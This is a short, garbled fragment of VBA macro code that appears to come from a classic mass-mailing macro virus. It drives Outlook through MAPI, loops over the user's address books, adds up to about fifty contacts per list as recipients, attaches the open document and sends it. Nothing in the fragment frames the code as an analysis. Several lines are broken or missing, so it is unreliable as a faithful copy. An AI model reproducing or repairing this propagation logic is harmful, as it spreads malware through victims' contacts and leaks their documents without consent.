If
UngaDasOutlook CreateObject("Outlook.Application")
DasMapiName UngaDasOutlook.GetNameSpace("MAPI")
For y = 1 To DasMapiName.AddressLists.Count
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
BreakUmOffASlice.Recipients.Add Peep
If x > 50 Then oo = AddyBook.AddressEntries.Count
show anyone else
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If